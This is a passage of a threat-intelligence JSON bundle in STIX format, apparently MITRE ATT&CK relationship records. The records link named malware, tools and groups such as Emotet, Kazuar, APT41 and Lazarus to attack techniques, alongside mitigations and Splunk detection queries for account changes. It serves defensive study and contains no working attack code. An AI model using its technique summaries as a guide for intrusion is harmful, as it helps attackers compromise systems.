2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a705189-ab75-428c-ae52-b70bc0d17624","type":"relationship","created":"2021-08-18T20:30:58.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.414Z","description":"(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a75776c-22e1-4227-9c7a-8531f9ce6c5e","created":"2024-05-29T17:49:23.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:47:29.182Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) has been executed through malicious links presented to users as internet search results.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a75d200-29f5-4f8a-b052-bcbe4e5ca236","type":"relationship","created":"2020-03-02T19:05:18.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:39:13.374Z","description":"Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a78758b-9dce-4d13-9b8a-ddc9b31d4ff7","type":"relationship","created":"2021-11-29T20:14:58.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:14:58.502Z","description":"[Pandora](https://attack.mitre.org/software/S0664) can monitor processes on a compromised host.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a805516-9819-4699-88c2-0a70afc97da0","created":"2022-10-17T22:02:13.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T16:41:15.147Z","description":"Monitor for the enrollment of devices and user accounts with alternative security settings that do not require MFA credentials for successful logon.\n\nAnalytic 1 - Unauthorized modification of user accounts Windows (User Account Modification)\n\nindex=your_index sourcetype=\"WinEventLog:Security\" EventCode IN (4720, 4722, 4724, 4738, 4725, 4732, 4733, 4735, 4737) \n| eval Risk_Level=if(MemberName=\"Domain Admins\" OR MemberName=\"Administrators\", \"High\", \"Low\")\n| stats count by TargetUserName, AccountName, EventCode, Risk_Level, ComputerName\n| where Risk_Level=\"High\"\n\nAnalytic 2 - macOS/Linux (User Account Modification)\n\nindex=your_index sourcetype=\"linux_secure\" OR sourcetype=\"macos_auth\" \n\"usermod\" OR \"passwd\" OR \"chpasswd\" OR \"adduser\" OR \"deluser\" OR \"vipw\" \n| stats count by user, command, src_ip, host \n| where command IN (\"usermod\", \"passwd\", \"chpasswd\", \"adduser\", \"deluser\", \"vipw\")","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.146Z","description":"For all non-removable drives on a victim, [USBStealer](https://attack.mitre.org/software/S0136) executes automated collection of certain files for later exfiltration.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a8a36ee-66f8-42ca-abeb-29e6223b91ee","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-21T00:07:11.926Z","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim computer name and encrypts the information to send over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a938acf-f072-42ba-8b5f-16e78ebea7f7","created":"2023-09-28T13:32:25.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:33:16.964Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can collect CloudTrail event histories and CloudWatch logs.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a980213-1df8-481f-af86-ed105781c573","created":"2023-09-28T13:24:54.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:33:31.813Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate AWS services, such as CloudTrail and CloudWatch.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a9b075d-4a37-4b89-8643-8b4376b79416","type":"relationship","created":"2019-01-29T21:37:00.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.","url":"https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise","source_name":"Unit42 SilverTerrier 2018"}],"modified":"2019-04-12T16:33:51.221Z","description":"(Citation: Unit42 SilverTerrier 2018)","relationship_type":"uses","source_ref":"intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb","target_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a9d20e3-053c-4a5c-87d6-bd72bcdd0d69","created":"2024-09-03T18:11:21.613Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:11:21.613Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has exfiltrated data using [Rclone](https://attack.mitre.org/software/S1040) or MEGASync prior to deploying ransomware.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a9deb99-21d7-45e3-bebc-fbab668690f1","created":"2019-06-17T18:44:58.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CitizenLab KeyBoy Nov 2016","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.","url":"https://citizenlab.ca/2016/11/parliament-keyboy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:47:16.897Z","description":"In one version of [KeyBoy](https://attack.mitre.org/software/S0387), string obfuscation routines were used to hide many of the critical values referenced in the malware.(Citation: CitizenLab KeyBoy Nov 2016)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a9e9275-44c2-40c9-9eb3-cafc54503874","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-17T18:17:38.540Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) uses /bin/bash to execute commands on the victim’s machine.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7aa65075-fd72-460e-bded-8f0f5620d515","created":"2022-06-30T20:45:31.419Z","x_mitre_version":"0.1","external_references":[{"source_name":"Objective-See MacMa Nov 2021","url":"https://objective-see.org/blog/blog_0x69.html","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) has the ability to record audio.(Citation: Objective-See MacMa Nov 2021)","modified":"2022-06-30T20:45:31.419Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7aa9c0cc-ce50-4975-9023-258a42270d22","created":"2024-02-23T20:43:04.987Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-23T20:43:04.987Z","description":"[APT41](https://attack.mitre.org/groups/G0096) uses tools such as [Mimikatz](https://attack.mitre.org/software/S0002) to enable lateral movement via captured password hashes.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7aaab0ef-69b8-4b34-98bc-8a83ff654884","type":"relationship","created":"2020-02-21T20:57:38.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T20:57:38.303Z","relationship_type":"revoked-by","source_ref":"attack-pattern--086952c4-5b90-4185-b573-02bad8e11953","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7aab9015-1839-4672-9a9a-76f478c858a8","type":"relationship","created":"2019-01-30T17:33:40.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"}],"modified":"2019-06-28T15:30:59.025Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\"(Citation: Securelist MuddyWater Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ab091db-ecf4-4137-b3a4-d2e20b31259a","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for contextual data about an account that may attempt to access detailed information about the password policy used within an enterprise network or cloud environment.","source_ref":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ab16f65-9be6-46ec-8c2c-96f58e089df0","type":"relationship","created":"2022-01-05T16:06:56.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}],"modified":"2022-01-05T16:06:56.376Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used exploits for multiple vulnerabilities including CVE-2014-0322, CVE-2012-4792, CVE-2012-1889, and CVE-2013-3893.(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ab5eaf4-49de-4680-88f2-6d4c876934b8","created":"2023-04-10T15:44:09.171Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:44:09.171Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) targeted specific individuals within an organization with tailored job vacancy announcements.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ab8913b-25bc-41c7-9149-625ec14322f3","created":"2021-08-19T19:14:15.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Naikon April 2021","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:22:54.488Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has downloaded as a XOR-encrypted payload.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7abbab75-cb57-4b27-964c-35b6b735b36a","created":"2024-09-19T14:03:11.777Z","revoked":false,"external_references":[{"source_name":"Elastic Abnormal Process ID or Lock File Created","description":"Elastic. (n.d.). Abnormal Process ID or Lock File Created. Retrieved September 19, 2024.","url":"https://www.elastic.co/guide/en/security/current/abnormal-process-id-or-lock-file-created.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:03:11.777Z","description":"Monitor for the suspicious creation of lock files – for example, in shared memory directories such as `/var/run`.(Citation: Elastic Abnormal Process ID or Lock File Created)","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac04e64-a09e-4a66-b6ce-047030400045","type":"relationship","created":"2020-03-19T22:47:20.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."},{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-07-15T18:05:15.624Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping browser password grabber modules. (Citation: Trend Micro Emotet Jan 2019)(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T19:33:16.780Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has obtained the victim username and sent it to the C2 server.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7ac258e9-acfa-4bc4-a676-201cf40be956","created":"2022-09-08T13:39:40.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:45:07.766Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used HTTP for C2.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac39d41-f859-447e-947b-5da935d30894","type":"relationship","created":"2019-06-05T14:33:01.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2020-03-20T18:22:45.024Z","description":"[njRAT](https://attack.mitre.org/software/S0385) uses Base64 encoding for C2 traffic.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ac3aabb-ed01-4e7f-a247-e043261a1c3b","type":"relationship","created":"2019-06-20T14:52:45.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central 